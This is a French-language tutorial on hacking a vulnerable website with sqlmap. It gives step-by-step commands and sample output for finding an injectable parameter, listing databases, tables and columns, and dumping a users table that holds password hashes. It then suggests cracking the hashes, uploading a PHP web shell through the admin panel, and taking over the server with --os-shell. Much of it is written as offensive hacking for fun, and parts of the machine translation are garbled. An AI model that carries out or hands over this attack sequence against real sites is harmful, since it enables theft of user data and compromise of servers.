Sqlmap
Sqlmap est l’un des outils d’automatisation d’injection sql les plus populaires et les plus puissants du marché. Étant donné une URL de requête http vulnérable, sqlmap peut exploiter la base de données distante et faire beaucoup de piratage, comme extraire des noms de base de données, des tables, des colonnes, toutes les données des tables, etc.
Il peut même lire et écrire des fichiers sur le système de fichiers distant sous certaines conditions. Écrit en python, c’est l’un des outils de piratage les plus puissants du marché. Sqlmap est le métasploit des injections sql.
Sqlmap est inclus dans les distributions linux de test de stylo comme kali linux, backtrack, backbox, etc. Sur les autres distributions, il peut être simplement téléchargé à partir de l’url suivante
http://sqlmap.org/.
Comme il est écrit en python, vous devez d’abord installer python sur votre système. Sur ubuntu, installez python à partir de synaptic. Sous Windows, installez activestate python. Consultez cet article pour plus de détails sur l’installation et l’exécution de sqlmap sous Windows.
Pour la liste des options et paramètres pouvant être utilisés avec la commande sqlmap, consultez la documentation sqlmap à
https://github.com/sqlmapproject/sqlmap/wiki/Usage
Dans ce tutoriel, nous allons apprendre à utiliser sqlmap pour exploiter une application Web vulnérable et voir ce que tout peut faire avec un tel outil.
Pour comprendre ce tutoriel, vous devez avoir une connaissance approfondie du fonctionnement des applications Web basées sur des bases de données. Par exemple ceux faits avec php + mysql.
Url vulnérables
Disons qu’il existe une application Web ou un site Web qui contient une URL comme celle-ci
http://www.site.com/section.php?id=51
et qu’elle est sujette à l’injection sql car le développeur de ce site n’a pas correctement échappé à l’ID du paramètre. Cela peut être simplement testé en essayant d’ouvrir l’url
http://www.site.com/section.php?id=51'
Nous venons d’ajouter un seul guillemet dans le paramètre. Si cette URL génère une erreur ou réagit de manière inattendue, il est clair que la base de données a obtenu le guillemet unique inattendu auquel l’application n’a pas échappé correctement. Donc, dans ce cas, ce paramètre d’entrée « id » est vulnérable à l’injection sql.
Piratage avec sqlmap
Il est maintenant temps de passer à sqlmap pour pirater de telles URL. La commande sqlmap est exécutée à partir du terminal avec l’interpréteur python.
1. Analyse du système distant
La première commande consiste à analyser le système distant pour voir s’il est vulnérable à l’injection sql, puis à collecter des informations à ce sujet.
$ python sqlmap.py -u "http://www.site.com/section.php?id=51"
La commande ci-dessus est la première et la plus simple à exécuter avec l’outil sqlmap. Il vérifie les paramètres d’entrée pour déterminer s’ils sont vulnérables à l’injection sql ou non. Pour cela, sqlmap envoie différents types de charges utiles d’injection sql au paramètre d’entrée et vérifie la sortie.
Dans le processus, sqlmap est également capable d’identifier le système d’exploitation distant, le nom de la base de données et la version. Voici à quoi la sortie pourrait ressembler
starting at 12:10:33 resuming back-end DBMS 'mysql' testing connection to the target urlsqlmap identified the following injection points with a total of 0 HTTP(s) requests:---Place: GETParameter: id Type: error-based Title: MySQL >= 5.0 AND error-based - WHERE or HAVING clause Payload: id=51 AND (SELECT 1489 FROM(SELECT COUNT(*),CONCAT(0x3a73776c3a,(SELECT (CASE WHEN (1489=1489) THEN 1 ELSE 0 END)),0x3a7a76653a,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a)--- the back-end DBMS is MySQLweb server operating system: FreeBSDweb application technology: Apache 2.2.22back-end DBMS: MySQL 5
Afin que l’outil sqlmap ait découvert le système d’exploitation, le serveur Web et la base de données ainsi que les informations de version. Même cela est assez impressionnant. Mais il est temps de passer à autre chose et de voir de quoi cet outil est-il capable de plus.
2. Discover Databases
Une fois que sqlmap confirme qu’une URL distante est vulnérable à l’injection sql et qu’elle est exploitable, l’étape suivante consiste à trouver les noms des bases de données qui existent sur le système distant. L’option « ddbs » est utilisée pour obtenir la liste de la base de données.
$ python sqlmap.py -u "http://www.sitemap.com/section.php?id=51" --dbs
La sortie pourrait ressembler à ceci
starting at 12:12:56 resuming back-end DBMS 'mysql' testing connection to the target urlsqlmap identified the following injection points with a total of 0 HTTP(s) requests:---Place: GETParameter: id Type: error-based Title: MySQL >= 5.0 AND error-based - WHERE or HAVING clause Payload: id=51 AND (SELECT 1489 FROM(SELECT COUNT(*),CONCAT(0x3a73776c3a,(SELECT (CASE WHEN (1489=1489) THEN 1 ELSE 0 END)),0x3a7a76653a,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a)--- the back-end DBMS is MySQLweb server operating system: FreeBSDweb application technology: Apache 2.2.22back-end DBMS: MySQL 5 fetching database names the SQL query used returns 2 entries resumed: information_schema resumed: safecosmeticsavailable databases : information_schema safecosmetics
La sortie affiche les bases de données existantes sur le système distant.
3. Trouver des tables dans une base de données particulière
Il est maintenant temps de savoir quelles tables existent dans une base de données particulière. Disons que la base de données d’intérêt ici est ‘safecosmetics’
Commande
$ python sqlmap.py -u "http://www.site.com/section.php?id=51" --tables -D safecosmetics
et la sortie peut être quelque chose de similaire à ceci
the back-end DBMS is MySQLweb server operating system: FreeBSDweb application technology: Apache 2.2.22back-end DBMS: MySQL 5 fetching tables for database: 'safecosmetics' heuristics detected web page charset 'ascii' the SQL query used returns 216 entries retrieved: acl_acl retrieved: acl_acl_sections........... more tables
n’est-ce pas incroyable? c’est bien sûr. Permet d’obtenir les colonnes d’une table particulière maintenant.
4. Obtenez les colonnes d’une table
Maintenant que nous avons la liste des tables avec nous, ce serait une bonne idée d’obtenir les colonnes d’une table importante. Disons que la table est « utilisateurs » et qu’elle contient le nom d’utilisateur et le mot de passe.
$ python sqlmap.py -u "http://www.site.com/section.php?id=51" --columns -D safecosmetics -T users
La sortie peut être quelque chose comme ça
the back-end DBMS is MySQLweb server operating system: FreeBSDweb application technology: Apache 2.2.22back-end DBMS: MySQL 5 fetching columns for table 'users' in database 'safecosmetics' heuristics detected web page charset 'ascii' the SQL query used returns 8 entries retrieved: id retrieved: int(11) retrieved: name retrieved: text retrieved: password retrieved: text....... retrieved: hash retrieved: varchar(128)Database: safecosmeticsTable: users+-------------------+--------------+| Column | Type |+-------------------+--------------+| email | text || hash | varchar(128) || id | int(11) || name | text || password | text || permission | tinyint(4) || system_allow_only | text || system_home | text |+-------------------+--------------+
Donc maintenant les colonnes sont clairement visibles. Bien joué!
5. Obtenir des données à partir d’une table
Vient maintenant la partie la plus intéressante de l’extraction des données de la table. La commande serait
$ python sqlmap.py -u "http://www.site.com/section.php?id=51" --dump -D safecosmetics -T users
La commande ci-dessus videra simplement les données de la table particulière, tout comme la commande mysqldump.
La sortie peut ressembler à ceci
+----+--------------------+-----------+-----------+----------+------------+-------------+-------------------+| id | hash | name | email | password | permission | system_home | system_allow_only |+----+--------------------+-----------+-----------+----------+------------+-------------+-------------------+| 1 | 5DIpzzDHFOwnCvPonu | admin | <blank> | <blank> | 3 | <blank> | <blank> |+----+--------------------+-----------+-----------+----------+------------+-------------+-------------------+
La colonne de hachage semble avoir le hachage du mot de passe. Essayez de casser le hachage et vous obtiendrez immédiatement les informations de connexion. sqlmap créera un fichier csv contenant les données de vidage pour une analyse facile.
Jusqu’à présent, nous avons pu collecter de nombreuses informations à partir de la base de données distante en utilisant sqlmap. C’est presque comme avoir un accès direct à une base de données distante via un client comme phpmyadmin. Dans des scénarios réels, les pirates tenteraient d’obtenir un niveau d’accès plus élevé au système. Pour cela, ils essaieraient de casser les hachages de mot de passe et d’essayer de se connecter via le panneau d’administration. Ou ils essaieraient d’obtenir un shell de système d’exploitation en utilisant sqlmap.
J’ai écrit un autre article sur l’utilisation de sqlmap pour obtenir plus de détails sur les bases de données distantes. Il explique les autres options de sqlmap qui sont utiles pour connaître les utilisateurs de la base de données, leurs privilèges et leurs hachages de mots de passe.
Et après ?
Une fois que vous êtes en mesure d’analyser et de collecter des données à partir d’un système vulnérable, il est temps de l’exploiter et de voir s’il est possible d’accéder au système. Sqlmap peut faire pas mal de choses comme exécuter des requêtes sql sur un système distant, démarrer un shell distant sur le système, etc.
1. Exécuter des requêtes sql arbitraires
C’est probablement la chose la plus simple à faire sur un serveur vulnérable à l’injection sql. Le paramètresqlsql-query peut être utilisé pour spécifier une requête sql à exécuter. Les choses intéressantes seraient de créer un utilisateur dans la table des utilisateurs ou quelque chose de similaire. Ou peut être changer / modifier le contenu des pages cms, etc.
Un autre paramètresqlsql-shell donnerait une interface de type shell sql pour exécuter des requêtes de manière interactive.
2. Entrez dans le panneau d’administration et jouez
Si le site Web exécute une sorte de cms personnalisé ou quelque chose de similaire qui a un panneau d’administration, il peut être possible d’y entrer à condition de pouvoir déchiffrer le mot de passe récupéré dans le vidage de la base de données. Les mots de passe simples et de courte longueur peuvent être brisés simplement par forçage brut ou google.com .
Vérifiez si le panneau d’administration permet de télécharger certains fichiers. Si un fichier php arbitraire peut être téléchargé, ce sera beaucoup plus amusant. Le fichier php peut contenir des appels de fonction shell_exec, system, exec ou passthru et cela permettra d’exécuter des commandes système arbitraires. Les scripts shell web Php peuvent être téléchargés pour faire la même chose.
3. Shell sur OS distant
C’est la chose à faire pour prendre complètement le serveur en main. Notez cependant que ce n’est pas aussi facile et trivial que les astuces montrées ci-dessus. sqlmap est livré avec un appel de paramètreosos-shell qui peut être utilisé pour essayer d’obtenir un shell sur un système distant, mais il a de nombreuses limitations.
Selon le manuel sqlmap
It is possible to run arbitrary commands on the database server's underlying operating system when the back-end database management system is either MySQL, PostgreSQL or Microsoft SQL Server, and the session user has the needed privileges to abuse database specific functionalities and architectural weaknesses.
Le privilège le plus important dont l’utilisateur actuel de la base de données a besoin est d’écrire des fichiers via les fonctions de la base de données. Ceci est absent dans la plupart des cas. Par conséquent, cette technique ne fonctionnera pas dans la plupart des cas.
Remarque
1. Parfois, sqlmap ne peut pas du tout se connecter à l’URL. Cela est visible lorsqu’il est bloqué lors de la première tâche de « tester la connexion à l’URL cible ». Dans de tels cas, il est utile d’utiliser l’option « randomrandom-agent ». Cela permet à sqlmap d’utiliser une signature d’agent utilisateur valide comme celles envoyées par un navigateur comme chrome ou firefox.
2. Pour les URL qui ne sont pas sous la forme de param=value, sqlmap ne peut pas savoir automatiquement où injecter. Par exemple, les URL mvc comme http://www.site.com/class_name/method/43/80.
Dans de tels cas, il faut indiquer à sqlmap le point d’injection marqué par un *
http://www.site.com/class_name/method/43*/80
Ce qui précède indiquera à sqlmap d’injecter au point marqué par *
3. Lorsque vous utilisez des formulaires qui soumettent des données via la méthode post, sqlmap doit fournir les données post dans les options « datadata ». Pour plus d’informations, consultez ce tutoriel sur l’utilisation de sqlmap avec des formulaires.